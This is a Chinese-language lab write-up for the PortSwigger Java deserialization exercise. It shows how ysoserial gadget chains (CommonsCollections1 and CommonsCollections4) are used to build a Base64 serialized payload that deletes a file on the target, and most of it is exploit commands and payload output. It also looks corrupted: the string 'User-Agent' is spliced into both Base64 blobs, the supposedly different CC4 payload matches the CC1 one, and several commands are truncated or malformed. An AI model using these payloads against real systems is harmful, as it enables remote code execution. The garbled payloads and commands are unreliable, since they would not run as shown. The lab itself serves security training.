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# 使用 Apache Commons 的 Java 反序列化
使用 Apache Commons 的 Java 反序列化，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 利用 Apache Commons 进行 Java 反序列化攻击
该实验使用基于 Java\*\* 序列化\*\* 的会话机制，并加载了 **Apache Commons Collections** 库。/ 即使无法访问源代码，也可以通过使用\*\* 预构造的 gadget\*\* 来利用漏洞。
\*\* 目标：\*\*/ 注入一个恶意的已序列化 Java 对象，以执行远程命令并删除文件：
```bash
/home/carlos/morale.txt
```
**提供的凭据：**
* `wiener:peter`
#### 会话分析
身份验证后，会话会存储在一个 Java\*\* 序列化\*\* cookie 中，并以 Base64 编码，例如：
{% code overflow="wrap" %}
```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3dnc2c3cwdWs5bmtlc3FlcWRmMTQ4YnhvMW0yMHJsMXQABndpZW5lcg%3d%3d
```
{% endcode %}
该 `rO0AB` 前缀确认它是一个已序列化的 Java 对象。
#### 使用的工具：Yesserial
为了生成恶意的反序列化载荷，我们使用第三方工具 **ysserial**.
**环境准备**
该实验需要兼容版本的 Java（这里是 Java 11）：
```bash
java -version
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java
```
#### 生成恶意载荷
先测试一个 Apache Commons gadget 链：
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'
```
该命令在本地可以正确运行，但注入到应用程序中的载荷会导致错误。
最终生成载荷并进行 Base64 编码：
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'| base64 -w 0 ; echo
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB%2bAABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2bj%2fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2bAB5zcQB%2bABZ1cQB%2bABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB%2bAB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nL1N0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB%2bAB4AAAABcQB%2bACNzcQB%2bABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
#### 调整 gadget 链
经过多次测试，这个实验正确的链是：
最终生成载荷并进行 Base64 编码：
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 ; ech
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nL1N0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
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